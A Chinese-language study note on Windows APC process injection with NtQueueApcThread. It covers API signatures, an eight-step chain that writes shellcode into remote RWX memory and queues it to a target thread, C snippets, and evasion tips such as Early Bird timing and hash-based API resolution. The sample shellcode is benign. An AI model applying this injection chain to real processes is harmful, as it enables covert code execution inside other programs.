APC 机制与 NtQueueApcThread 注入原理知识点整理

核心目标

理解 Windows 异步过程调用（APC）机制，掌握 NtQueueApcThread 向目标线程投递用户态 APC 的方法，实现不创建新线程的代码执行。

核心认知：APC 不是“立即执行”，而是“排队等待”。目标线程进入可提醒（Alertable）等待状态时，系统才会派发 APC。

- **涉及的关键 API 函数**

(一) Thread32First / Thread32Next 遍历线程

```
BOOL Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
BOOL Thread32Next (HANDLE hSnapshot, LPTHREADENTRY32 lpte);
```

[in] hSnapshot：从先前对 CreateToolhelp32Snapshot 函数的调用返回的快照的句柄。

[in, out] lpte：指向 THREADENTRY32 结构的指针。

(二) OpenThread 打开目标线程

```
HANDLE OpenThread(
  [in] DWORD dwDesiredAccess,
  [in] BOOL   bInheritHandle,
  [in] DWORD dwThreadId
);
```

[in] dwDesiredAccess

对线程对象的访问权限。系统会根据线程的安全描述符检查此访问权限。此参数可以是一个或多个线程访问权限。如果调用方已启用 SeDebugPrivilege 特权，则无论安全描述符的内容如何，都会授予所请求的访问权限。

[in] bInheritHandle

如果此值为 TRUE，则此进程创建的进程将继承该句柄。否则，进程不会继承此句柄。

[in] dwThreadId

要打开的线程的标识符。

为什么需要 THREAD_SET_CONTEXT：NtQueueApcThread 本质是修改目标线程的 APC 队列（属于线程上下文的一部分），没有此权限会返回 STATUS_ACCESS_DENIED。

(三) NtQueueApcThread 投递 APC

```
NTSTATUS NtQueueApcThread(
  [in]              HANDLE ThreadHandle,
  [in]              PPS_APC_ROUTINE ApcRoutine,
  [in, optional] PVOID ApcArgument1,
  [in, optional] PVOID ApcArgument2,
  [in, optional] PVOID ApcArgument3
);
```

[in] ThreadHandle

要将 APC 排队到的线程的句柄。该句柄必须具有 THREAD_SET_CONTEXT 访问权限。

[in] ApcRoutine

指向 RtlDispatchAPC 函数或自定义 APC 例程的指针，该例程将在目标线程的上下文中执行。

[in, optional] ApcArgument1

传递给 APC 例程的第一个可选参数。

[in, optional] ApcArgument2

传递给 APC 例程的第二个可选参数。

[in, optional] ApcArgument3

传递给 APC 例程的第三个可选参数。

返回值：NTSTATUS，>= 0 表示成功（NT_SUCCESS 宏）

关键：ApcRoutine 直接指向 Shellcode 的地址，Shellcode 就是 APC 回调函数

- **完整利用链**

第 1 步：打开目标进程

OpenProcess(PROCESS_VM_READ|WRITE|OPERATION|QUERY_INFORMATION, FALSE, pid)

|

└── 拿到 hProcess

第 2 步：申请远程内存 + 写入 Shellcode

VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

|

└── 拿到 pRemoteMem（可执行内存）

WriteProcessMemory(hProcess, pRemoteMem, shellcode, size, NULL)

|

└── Shellcode 已写入

第 3 步：枚举目标进程的线程

CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)

|

└── Thread32First/Next 遍历，筛选 th32OwnerProcessID == pid

|

└── 拿到 tid（第一个线程 ID）

第 4 步：打开目标线程

OpenThread(THREAD_SET_CONTEXT, FALSE, tid)

|

```
        └──── 拿到 hThread

第 5 步：获取 NtQueueApcThread 地址
    GetModuleHandleA("ntdll.dll") → hNtdll
    GetProcAddress(hNtdll, "NtQueueApcThread") → pFunc
        |
        └──── （无 IAT 版：GetProcAddressEx(NHash32::hash("ntdll.dll"),
NHash32::hash("NtQueueApcThread"))）

第 6 步：投递 APC
    NtQueueApcThread(hThread, (PVOID)pRemoteMem, NULL, NULL, NULL)
        |
        └──── APC 已进入目标线程的队列（但尚未执行!）

第 7 步：等待目标线程进入可提醒状态
    （目标线程调用 SleepEx / WaitForSingleObjectEx / MsgWaitForMultipleObjectsEx）
        |
        └──── 系统检查 APC 队列 → 调用 ApcRoutine（即 Shellcode）

第 8 步：清理句柄
    CloseHandle(hThread) + CloseHandle(hProcess)
    （远程内存不能立即释放，等 APC 执行完再释放）
```

文字总结：

- 打开进程 → 获取内存操作权限
- 申请+写入 → Shellcode 放进目标进程的可执行内存
- 枚举线程 → 找到目标进程的任意一个线程
- 打开线程 → 获取 THREAD_SET_CONTEXT 权限
- 获取函数 → 动态解析 NtQueueApcThread
- 投递 APC → 把 Shellcode 地址塞进线程的 APC 队列
- 等待派发 → 目标线程进入 Alertable 状态时执行
- 清理 → 关闭句柄，内存等 APC 执行完再释放

- **其他必要的扩展知识点**

- **APC 是什么**

类比：每个线程都有个“待办事项列表”（APC 队列）。往列表里塞条“提醒”（NtQueueApcThread），但线程不会立刻处理——它必须主动说“我现在有空了”（进入可提醒状态），系统才会把待办事项交给它执行。

两种 APC：

类型	投递方式	执行时机	本章是否涉及

用户态 APC	NtQueueApcThread	线程进入 Alertable 等待	本章核心
内核态 APC	驱动调用 KeInsertQueueApc	线程从内核态返回用户态时	不涉及

➢ **什么是"可提醒状态"（Alertable）**

定义：线程调用以下 API 且 bAlertable = TRUE 时，进入可提醒状态：

```
SleepEx(dwMilliseconds, TRUE);                          // bAlertable = TRUE
WaitForSingleObjectEx(hObject, dwMilliseconds, TRUE);   // bAlertable = TRUE
WaitForMultipleObjectsEx(..., TRUE);                    // bAlertable = TRUE
MsgWaitForMultipleObjectsEx(..., MWMO_ALERTABLE);       // 带 ALERTABLE 标志
SignalObjectAndWait(..., TRUE);                         // bAlertable = TRUE
```

关键陷阱：

- ✓ 普通 Sleep()、WaitForSingleObject() 不会进入可提醒状态!
- ✓ 如果目标线程一直在忙（不调用 Alertable 等待），APC 永远不会执行。
- ✓ 这是 APC 注入最大的不确定性——无法控制目标线程何时进入 Alertable 状态。

实战建议：选择那些"经常等待"的线程（如 GUI 线程、消息循环线程），或者结合 Early Bird——在进程刚创建、主线程还没开始执行时就投递 APC，此时主线程必然会在入口点后进入 Alertable 等待。

➢ **APC 例程的调用约定（x86 与 x64 的关键差异）**

x64：

- ✓ 只有一种调用约定（Microsoft x64 calling convention）
- ✓ 被调用者不负责清栈，直接 ret 即可
- ✓ 本章 Shellcode：B8 2A 00 00 00 C3（mov eax, 42; ret）正确

x86：

- ✓ APC 例程是 __stdcall（PAPCFUNC 定义为 WINAPI）
- ✓ 被调用者必须清 3 个参数的栈（12 字节）
- ✓ 必须用 ret 0x0C（C2 0C 00），裸 ret（C3）会导致线程栈错位

● **必须掌握的核心代码片段**

➢ **线程枚举 + 筛选目标进程**

```
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te;
te.dwSize = sizeof(te);
DWORD tid = 0;
if (Thread32First(hSnap, &te)) {
    do {
        if (te.th32OwnerProcessID == pid) {
            tid = te.th32ThreadID;
            break;
        }
```

```
    } while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
```

- **申请 + 写入 Shellcode**

```
LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, shellcodeSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteMem, shellcode, shellcodeSize, NULL);
```

- **打开线程 + 投递 APC**

```
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
NTSTATUS status = NtQueueApcThread(hThread,
    (PVOID)pRemoteMem,     // ApcRoutine = Shellcode 地址
    NULL, NULL, NULL);
CloseHandle(hThread);
```